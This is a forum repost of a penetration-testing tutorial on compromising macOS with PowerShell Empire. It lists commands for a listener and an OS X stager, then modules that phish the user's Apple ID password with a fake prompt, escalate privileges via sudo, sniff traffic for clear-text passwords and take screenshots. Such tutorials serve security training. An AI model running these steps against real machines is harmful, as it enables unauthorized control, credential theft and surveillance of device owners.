• We just launched and are currently in beta. Join us as we build and grow the community.

OSX Exploitation with Powershell Empire

122dani

Blockchain Policy Advocate
1 Rep
0
0
0
Rep
0
1 Vouches
0
0
0
Vouches
0
Posts
167
Likes
112
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 400 XP
This article is another post in the empire series. In this article, we will learn OSX Penetration testing using empire.

Table of Content

Exploiting MAC

Post Exploitation

  • Phishing
  • Privilege Escalation
  • Sniffing

Exploiting MAC

Here I’m considering you know PowerShell Empire’s basics, therefore, we will create the listener first using the following commands:

Code:
uselistener http
set Host //192.168.1.26
execute

1.png


Executing the above commands will start up the listener as shown in the image above. Now the next step is to create a stager for OS X. And for that, type :

Code:
usestager osx/launcher
execute

2.png


As you can see in the image above, the above stager will generate a code. Execute this code in the target system i.e. OS X and after the execution, you will have your session as shown in the image below :

3.png


Post Exploitation

Phishing

As we have the session of our mac, there are few post exploits that can use to our advantage. The first post exploitation module we will use is a collection/osx/prompt. Using this module will ask the user to enter their password to their Apple ID, which means this module does not work in stealth mode. To use this module type :

Code:
usemodule collection/osx/prompt
execute

4.png


Executing the above module will open a prompt in the target machine as shown in the image below and when entered password you have it in clear text as shown in the image above.

5.1.png


Privilege Escalation

For the privilege escalation of OS X, we have used the module privesc/multi/sudo_spawn. To sue this module type :

Code:
usemodule privesc/multi/sudo_spawn
set Listener http
set Password toor
execute

Executing this module will give you admin rights with a new session, as you can see in the image below :

5.png


Sniffing

The module we will use is collection/osx/sniffer. This will sniff around all the traffic in the coming to and going from our target system and give us all the necessary details by creating a pcap file. To use module type :

Code:
usemodule collection/osx/sniffer
execute

6.png


As you can see that you will even find the password in clear text in the pcap file as shown in the image below :

7.png


Next post module is of taking a screenshot of the target system and to use the said module type :

Code:
usemodule collection/osx/screenshot
execute

8.png


The above module will take a screenshot as shown in the image below :

9.png


There is a further number of post modules which you can use and experiment with as shown in the image below :

10.png


Author: Sanjeet Kumar is an Information Security Analyst | Pentester | Researcher Contact Here
 

431,395

312,441

312,450

Top